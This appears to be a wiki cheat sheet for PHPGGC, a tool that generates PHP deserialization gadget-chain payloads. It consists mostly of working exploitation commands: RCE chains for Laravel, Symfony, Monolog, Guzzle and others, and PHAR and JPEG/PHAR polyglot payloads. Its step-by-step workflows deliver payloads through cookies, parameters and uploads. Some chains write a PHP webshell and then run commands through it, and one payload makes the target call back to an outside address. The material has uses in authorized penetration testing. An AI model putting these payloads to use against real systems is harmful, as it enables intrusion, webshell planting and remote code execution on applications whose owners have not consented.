PHPGGC Wiki

                     ┌────────────────────────────────────────┐
                     │      Vulnerable PHP Application        │
                     │  unserialize($_COOKIE / $_GET / file)  │
                     └───────────────────┬────────────────────┘
                                          │
                     Deserializes attacker-controlled string
                                          │
              ┌───────────────────────────┼───────────────────────────┐
              │                           │                           │
        __wakeup()                  __destruct()                __toString()
        called immediately          called when object          called when object
        after unserialize()         goes out of scope /          used in string
              │                     script ends                 context (echo,
              │                           │                      concatenation)
              └───────────────────────────┼───────────────────────────┘
                                          │
                     Property values chain through gadget classes:
              Class A property -> Class B method call -> Class C property -> ...
                                          │
                     Chain terminates in a "sink":
              system() / exec() / proc_open() / call_user_func() / file_put_contents()
                                          │
                                    Command Execution / File Write

sudo apt install phpggc
phpggc -h

git clone https://github.com/ambionics/phpggc.git
cd phpggc
./phpggc -l

phpggc/
├── phpggc                  # main CLI entry point
├── lib/PHPGGC.php          # core library, used for programmatic access
├── gadgetchains/           # one folder per framework, contains chain classes
│   ├── Laravel/RCE/...
│   ├── Symfony/RCE/...
│   ├── Monolog/RCE/...
│   └── ...
└── test-gc-compatibility.py  # version-matrix compatibility tester

# General syntax
./phpggc <gadget-chain> [parameters] [options]

# List all available gadget chains
./phpggc -l

# Filter list by framework name
./phpggc -l laravel

# Get detailed info on a specific chain
./phpggc -i symfony/rce1

# Generate a basic RCE payload (function-call style chains)
./phpggc monolog/rce1 assert 'phpinfo()'

# Generate an RCE payload (system-call style chains)
./phpggc Monolog/RCE2 system 'id'

# Soft URL-encode inline (useful for direct paste into a URL param)
./phpggc monolog/rce1 'phpinfo();' -s

# Laravel RCE via function call, __destruct vector
./phpggc laravel/rce1 system 'id'
./phpggc laravel/rce2 system 'id'

# Newer chains targeting later Laravel versions (check -l for current top RCE number)
./phpggc laravel/rce10 system 'id'

./phpggc symfony/rce1 <command>

./phpggc -i symfony/rce1
# Name       : Symfony/RCE1
# Version    : 3.3
# Type       : rce
# Vector     : __destruct
# Informations: Exec through proc_open()

./phpggc monolog/rce1 assert 'phpinfo()'
./phpggc Monolog/RCE2 system 'id'

# Verify against a live Symfony install with a specific Monolog dependency
composer create-project symfony/website-skeleton=4.x some_symfony
cd some_symfony
phpggc monolog/rce2 --test-payload
# Trying to deserialize payload...
# SUCCESS: Payload triggered !

./phpggc guzzle/rce1 system 'id'
./phpggc guzzle/fw1 /var/www/html/shell.php '<?php system($_GET["c"]); ?>'
./phpggc guzzle/info1

./phpggc codeigniter4/rce1 system 'id'

./phpggc doctrine/rce1 'system("id");'
./phpggc doctrine/fw1 /var/www/shell.php '<?php system($_GET["c"]); ?>'

# File write chains — write a webshell to a target path
./phpggc swiftmailer/fw1 /var/www/html/shell.php '<?php system($_GET["c"]); ?>'

./phpggc drupal7/rce1 system 'id'          # Drupal7/RCE1: 7.0.8 < ? — RCE, __destruct
./phpggc magento/fw1 <path> <content>       # Magento/FW1: File write, __destruct
./phpggc magento/sqli1                      # Magento/SQLI1: SQL injection, __destruct
./phpggc phalcon/rce1 system 'id'           # Phalcon/RCE1: <= 1.2.2 — RCE, __wakeup
./phpggc slim/rce1                          # Slim/RCE1: 3.8.1 — RCE, __toString
./phpggc wordpress/rce1 system 'id'         # WordPress-targeted chain
./phpggc yii/rce1 system 'id'               # Yii-targeted chain
./phpggc zendframework/rce1 system 'id'     # ZendFramework/Laminas-targeted chain
./phpggc laminas/fd1                        # Laminas/FD1: <= 2.11.2 — File delete, __destruct
./phpggc horde/rce1 '<?php system($_GET["c"]); ?>'  # Horde/RCE1: <= 5.2.22 — RCE (PHP code), __destruct *

# Generate a PHAR containing a gadget chain payload as its metadata
./phpggc Monolog/RCE2 system 'id' -p phar -o /tmp/exploit.phar

# The resulting PHAR must be uploaded/placed somewhere the target app will later
# perform a filesystem operation against it through the phar:// wrapper, e.g.:
#   file_exists("phar://" . $uploaded_file_path)
#   getimagesize("phar://" . $uploaded_file_path)

[Stub]        — PHP code executed when accessed in an executable context;
                must contain __HALT_COMPILER(); at minimum
[Manifest]    — archive metadata, INCLUDES THE SERIALIZED OBJECT (this is what
                triggers deserialization when the wrapper reads it)
[File Contents] — the actual archived file(s)
[Signature]   — optional integrity check

<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'placeholder content');
$phar->setStub("<?php __HALT_COMPILER(); ?>");
// The metadata is what gets deserialized — this is the gadget chain object
$phar->setMetadata($gadget_object);
$phar->stopBuffering();

# Generate a polyglot from a real JPEG, embedding the gadget chain
./phpggc Monolog/RCE2 system 'id' -pj original_image.jpg -o exploit.jpg

# Combine with a custom PHAR prefix if the app expects specific header bytes beyond JPEG magic
./phpggc Monolog/RCE2 system 'id' -p phar -pp jpeg_header.bin -o exploit.jpg

# Direct local test — run from inside a project with the target dependency installed
composer create-project symfony/website-skeleton=4.x some_symfony
cd some_symfony
phpggc monolog/rce2 --test-payload
# Trying to deserialize payload...
# SUCCESS: Payload triggered !
# (exit code 0 = success, 1 = failure)

# Automated version-matrix testing across many versions of a dependency
./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3

# Test specific pinned versions only
./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3

┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.3.0           │ OK      │ OK           │ KO           │
│ 1.25.4          │ OK      │ OK           │ KO           │
└─────────────────┴─────────┴──────────────┴──────────────┘

<?php
// wrapper.php
function process_parameters($parameters) {
    // Called right before generate() — modify/inject parameters here
    return $parameters;
}

function process_object($object) {
    // Called right before the payload is serialized — mutate the object graph
    return $object;
}

function process_serialized($serialized) {
    // Called right after serialization — do string-level post-processing
    // e.g., strip/replace specific byte sequences the target's WAF blocks
    return $serialized;
}

./phpggc monolog/rce1 system 'id' -w wrapper.php

Serialized object marker:     O:<len>:"ClassName":<propcount>:{...}
Serialized array marker:      a:<count>:{...}
PHAR magic (after stub):      GBMB  (Phar file format signature, near end of file)

# grep a captured request/response/config for serialized object markers
grep -oE 'O:[0-9]+:"[^"]+"' capture.txt

# Raw payload as a cookie value
curl http://target/ -H "Cookie: session=$(./phpggc monolog/rce1 system 'id' -u)"

# URL-encoded payload as a GET/POST parameter
curl "http://target/?data=$(./phpggc monolog/rce1 system 'id' -u)"

# Base64-encoded payload for JSON body delivery
PAYLOAD=$(./phpggc monolog/rce1 system 'id' -b)
curl -X POST http://target/api -H "Content-Type: application/json" -d "{\"data\":\"$PAYLOAD\"}"

# PHAR file upload, later triggered via phar:// path reference elsewhere in the app
./phpggc Monolog/RCE2 system 'id' -p phar -o exploit.phar
curl -X POST http://target/upload -F "file=@exploit.phar"
# Trigger: some other feature (avatar processing, thumbnail gen, existence check)
# reads the uploaded file path through phar://

# JPEG/PHAR polyglot for image-upload-gated deserialization
./phpggc Monolog/RCE2 system 'id' -pj real_photo.jpg -o exploit.jpg
curl -X POST http://target/avatar/upload -F "avatar=@exploit.jpg"

<?php
# Include PHPGGC
include("phpggc/lib/PHPGGC.php");

# Instantiate the target gadget chain
$gc = new \GadgetChain\Guzzle\RCE1();

# Process parameters (recommended even for straightforward chains)
$parameters = $gc->process_parameters([
    'function' => 'system',
    'parameter' => 'id',
]);

# Generate the payload object graph
$object = $gc->generate($parameters);

# Most chains don't need process_object/process_serialized — safe to skip for
# quick scripting, but available for the same reasons as -w wrapper hooks
$serialized = serialize($object);

# Send $serialized directly via your own HTTP client / exploit script
echo $serialized;

# Step 1: Identify a cookie/param that looks like PHP serialized data
# e.g., session cookie value starting with O: or a:

# Step 2: Fingerprint the framework/library (error pages, headers, JS assets, composer.lock leak)

# Step 3: List candidate chains for the fingerprinted framework
./phpggc -l laravel

# Step 4: Generate and test locally if you can spin up a matching version
composer create-project laravel/laravel:^8.0 test_laravel
cd test_laravel && phpggc laravel/rce2 --test-payload

# Step 5: Generate the real payload, encoded for cookie delivery
./phpggc laravel/rce2 system 'curl http://10.10.14.5:8000/hit' -u > payload.txt

# Step 6: Deliver
curl http://target/ -H "Cookie: laravel_session=$(cat payload.txt)"

# Step 1: Confirm the app has an image upload feature AND a secondary feature that
# performs filesystem operations on the uploaded path (thumbnailing, EXIF reading,
# existence checks before "already uploaded" messages, etc.)

# Step 2: Generate a JPEG/PHAR polyglot with the RCE gadget chain embedded
./phpggc Monolog/RCE2 system 'id' -pj clean_photo.jpg -o malicious.jpg

# Step 3: Upload through the normal image upload flow
curl -X POST http://target/profile/avatar -F "avatar=@malicious.jpg" \
  -H "Cookie: session=<valid_session>"

# Step 4: Trigger the phar:// deserialization via whatever secondary feature
# touches the file path (varies per app — often automatic on next page load,
# or requires visiting a specific "regenerate thumbnail" endpoint)

# Step 5: Confirm execution (OOB callback, output file, etc.)

# Step 1: Identify a file_write-type chain matching the target's dependency
# (e.g., SwiftMailer, Guzzle, Doctrine, Magento all have FW-type chains)

# Step 2: Generate a payload that writes a PHP webshell to a web-accessible path
./phpggc guzzle/fw1 /var/www/html/uploads/shell.php \
  '<?php system($_GET["c"]); ?>' -u > payload.txt

# Step 3: Deliver via the identified unserialize() sink
curl "http://target/vulnerable_endpoint?data=$(cat payload.txt)"

# Step 4: Use the dropped webshell for full RCE
curl "http://target/uploads/shell.php?c=id"

sudo apt install phpggc     # Kali/Debian
# or
git clone https://github.com/ambionics/phpggc.git && cd phpggc

./phpggc -l                     # list all chains
./phpggc -l laravel              # filter by framework
./phpggc -i symfony/rce1         # detailed info on a specific chain

./phpggc monolog/rce1 assert 'phpinfo()'
./phpggc Monolog/RCE2 system 'id'
./phpggc laravel/rce2 system 'id'
./phpggc symfony/rce1 'id'
./phpggc guzzle/rce1 system 'id'

./phpggc monolog/rce1 system 'id' -s              # soft URL-encode
./phpggc monolog/rce1 system 'id' -u               # full URL-encode
./phpggc monolog/rce1 system 'id' -b               # base64
./phpggc monolog/rce1 system 'id' -j               # JSON string
./phpggc monolog/rce1 system 'id' -b -u             # chain: base64 then URL-encode

./phpggc Monolog/RCE2 system 'id' -p phar -o exploit.phar          # phar format
./phpggc Monolog/RCE2 system 'id' -p phar -pf shell.txt -o e.phar   # custom internal filename
./phpggc Monolog/RCE2 system 'id' -pj photo.jpg -o exploit.jpg      # JPEG/PHAR polyglot

./phpggc monolog/rce1 system 'id' -f                # fast-destruct
./phpggc monolog/rce1 system 'id' -a                # ascii-strings
./phpggc monolog/rce1 system 'id' -w wrapper.php     # custom wrapper hooks

composer create-project <vendor>/<package>:<version> test_env
cd test_env
phpggc <chain> --test-payload

./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3

./phpggc monolog/rce1 system 'id' -o payload.txt

./phpggc swiftmailer/fw1 /var/www/html/shell.php '<?php system($_GET["c"]); ?>'
./phpggc guzzle/fw1 /var/www/html/shell.php '<?php system($_GET["c"]); ?>'

<?php
include("phpggc/lib/PHPGGC.php");
$gc = new \GadgetChain\Guzzle\RCE1();
$parameters = $gc->process_parameters(['function' => 'system', 'parameter' => 'id']);
$object = $gc->generate($parameters);
echo serialize($object);

O:<class_name_length>:"<ClassName>":<property_count>:{...}